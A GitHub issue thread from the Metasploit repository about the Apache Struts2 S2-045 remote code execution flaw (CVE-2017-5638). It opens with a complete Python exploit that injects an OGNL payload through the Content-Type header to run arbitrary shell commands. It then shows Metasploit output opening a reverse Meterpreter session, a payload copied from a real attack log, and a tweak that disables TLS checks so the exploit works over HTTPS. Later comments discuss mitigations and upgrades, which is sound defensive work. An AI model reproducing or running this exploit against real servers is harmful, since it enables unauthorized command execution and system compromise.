rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.99k stars 13.94k forks source link

CVE-2017-5638 - Apache Struts2 S2-045 #8064

Closed nixawk closed 7 years ago

nixawk commented 7 years ago

Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser. ... It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.

#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib

def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial

    print(page)
    return page

if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)

Lab

  1. Please install tomcat yourself
  2. Deplay the vuln struts2 package
screen shot 2017-03-07 at 02 19 40

References

https://cwiki.apache.org/confluence/display/WW/S2-045 https://www.seebug.org/vuldb/ssvid-92746

nixawk commented 7 years ago

I'll give a new pr later.

screen shot 2017-03-07 at 05 43 12
cbrnrd commented 7 years ago

Could this be turned into an exploit? (cmd/unix payloads)

nixawk commented 7 years ago
msf exploit(struts_code_exec_jakarta) > show options

Module options (exploit/multi/http/struts_code_exec_jakarta):

   Name       Current Setting     Required  Description
   ----       ---------------     --------  -----------
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.206.144     yes       The target address
   RPORT      8080                yes       The target port
   SSL        false               no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /struts2-showcase/  yes       The path to a struts application action
   TMPPATH                        no        Overwrite the temp path for the file upload. Needed if the home directory is not writable.
   VHOST                          no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   1   Linux Universal

msf exploit(struts_code_exec_jakarta) > run

[*] Started reverse TCP handler on 192.168.206.144:4444
[*] 192.168.206.144:8080 - Uploading exploit to /tmp/axs6, and executing it.
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.206.144
[*] Meterpreter session 1 opened (192.168.206.144:4444 -> 192.168.206.144:59908) at 2017-03-07 11:18:52 -0500

meterpreter > sysinfo
Computer     : sh
OS           : Linux sh 4.6.0-kali1-686-pae #1 SMP Debian 4.6.4-1kali1 (2016-07-21) (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter >
xtianus commented 7 years ago

My client's site was hacked yesterday. This was in the log:

redacted

oli-h commented 7 years ago

Seems to be more an OGNL issue than a Multipart parser issue

xhavretx commented 7 years ago

I've try on my own server but it's doesn't works (An error 500 is displayed). I've targeted directly IP address.

xtianus commented 7 years ago

@busterb it was a stacktrace cut before showing any customer-related information, just to help you out and show that the problem exists in real life. But you needed to play smart ass at my expense I guess.

busterb commented 7 years ago

@xtianus there was an internal hostname in there, or at least it looked like one to me. I wasn't trying to be a smart ass, apologies if that's how it sounded.

xtianus commented 7 years ago

There was none. You could have edited the hostname-lookalike instead of removing the whole thing, but that wouldn't have attracted 12 smiles I guess.

lukaszlenart commented 7 years ago

The sad news is that this PR was prepared before we even had a chance to inform users about the new versions and it contains PoC reported to us which means we cannot even trust reporters :(

busterb commented 7 years ago

My mistake @xtianus. I removed comment above. Here is the backtrace resurrected for reference:

WARN  o.a.s.d.m.JakartaMultiPartRequest - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
content type header is %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=
(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?
{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=
(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
        at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947) ~[commons-fileupload-1.3.1.jar:1.3.1]
        at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310) ~[commons-fileupload-1.3.1.jar:1.3.1]
        at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334) ~[commons-fileupload-1.3.1.jar:1.3.1]
        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:188) ~[struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127) ~[struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92) ~[struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:84) [struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:838) [struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:137) [struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareFilter.doFilter(StrutsPrepareFilter.java:88) [struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:240) [
tsellers-r7 commented 7 years ago

@oli-h Based on my understanding the problem is that Jakarta Multiparser generates an exception when parsing the Content-Type. While raising this exception it tries to include the invalid data in the error message. Instead of displaying the invalid data it parses and executes the OGNL. So, as I understand it, the problem is the Jarkarta Multiparser and the vehicle for exploitation is OGNL.

I think this might be some of the relevant code changes in Struts - http://www.mail-archive.com/commits%40struts.apache.org/msg14591.html

egypt commented 7 years ago

I'm working on converting your module to be able to load a java payload instead of executing a command

meowmixin commented 7 years ago

Guys, careful on the 'vuln struts2 package', my anti-virus detected a trojan horse inside.

0xspade commented 7 years ago

sadlyf :( sadlyf

wvu commented 7 years ago

@5P4D3: Did you install the module?

0xspade commented 7 years ago

how to install ?? i tried to update it but still it failed to load the module..

wvu commented 7 years ago

@5P4D3: It isn't even in the tree yet. Drop the module in ~/.msf4/modules/exploits/multi/http.

0xspade commented 7 years ago

still the error exists :(

wvu commented 7 years ago

Did you reload Metasploit? This is not the place to be asking support questions, btw. Take it to IRC, please.

ankurloriya commented 7 years ago

Is there any way to fix this issue rather having upgrade to 2.3.32 or 2.5.10.1?

lukaszlenart commented 7 years ago

The simplest way is to filter out all incoming requests with invalid ContentType

lukaszlenart commented 7 years ago

or implement a custom Multipart parser http://stackoverflow.com/questions/8937986/how-to-use-custom-struts-multipart-parser/42805618#42805618 https://struts.apache.org/docs/handling-file-uploads.html

lmehai commented 7 years ago

If your application server is behind Apache server you can unset Content-type like this: IfModule mod_headers.c RequestHeader unset Content-Type IfModule

If you application server is not behind a web server you can commented the fileUpload interceptor
by defining a custom interceptor-stack: https://dzone.com/tutorials/java/struts-2/struts-2-tutorial/struts-2-interceptors-tutorial-1.html

This temporary solution will break upload functionalities until you upgrade struts-2

fredondiek commented 7 years ago

quick fix https://github.com/fredondiek/struts2_rce_attack_filter

lukaszlenart commented 7 years ago

We have released two plugins that can help you fix this vulnerability in your Struts version (without a need to migrate) - it's safer than a custom Servlet filter as there are other attack vectors. http://struts.apache.org/announce.html#a20170320

nixawk commented 7 years ago

Apache Struts S2-046

https://cwiki.apache.org/confluence/display/WW/S2-046

Keep hot.

nixawk commented 7 years ago

https://github.com/rapid7/metasploit-framework/issues/8134

lmehai commented 7 years ago

Based on this recent qualsys blog, removing fileupload interceptor is not enough. As long as common-fileulpoad is in the war the vulnerability could be exploited.

https://blog.qualys.com/securitylabs/2017/03/14/apache-struts-cve-2017-5638-vulnerability-and-the-qualys-solution?utm_source=marketo&utm_medium=email&utm_campaign=demand-gen&utm_term=apache-struts-q1-2017&utm_content=blog-apache-vuln-qualys-solution&

Until you upgrade to recent revision with fix do this:

If your application server is behind Apache server do: IfModule mod_headers.c RequestHeader unset Content-Type RequestHeader unset Content-Disposition RequestHeader unset Content-length IfModule

If you application server is not behind a web server remove fileupload or use jakarta-stream: https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries

lukaszlenart commented 7 years ago

jakarta-stream parser is also vulnerable, the attack vector is a bit different - the best option, except migrating to the latest versions, is use one of those plugins: https://github.com/apache/struts-extras

opjoshi commented 7 years ago

Hello,

Can anyone let me know if we can use Pell Parser, would it be better or secure option ?

Also, kindly let me know if any issues/vulnerabilities with exploits (Attack Vectors) available for the same.

Thanks.

golfreeze commented 7 years ago

seem it will upload script such as window or linux bash script then running to create process. Just upgrade Struts 2 for fixed problem , Right ?

Lopesy1191 commented 7 years ago

Hey, noob here, how can I run this exploit over https? I am getting an error, when testing against 2.3.32 (see below) it is requiring a certificate. My question is, how (if I can) can I pass in the certificate in-line, or is there a way to perform this using some type of insecure option?

urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:661)>

egypt commented 7 years ago

@Lopesy1191 The Metasploit module should work fine with TLS. Use that instead of the PoC posted here.

yhojann-cl commented 7 years ago

Replace by:

    try:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE

        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request, context=ctx).read()
nixawk commented 7 years ago

Thanks @WHK102

casseusclay commented 7 years ago

@ lukaszlenart : Are the plugins, you mentioned above compatible with much older Struts2 versions such as Struts 2.0.14 ?

lukaszlenart commented 7 years ago

@casseusclay nope

hktalent commented 5 years ago

@nixawk https://github.com/hktalent/myhktools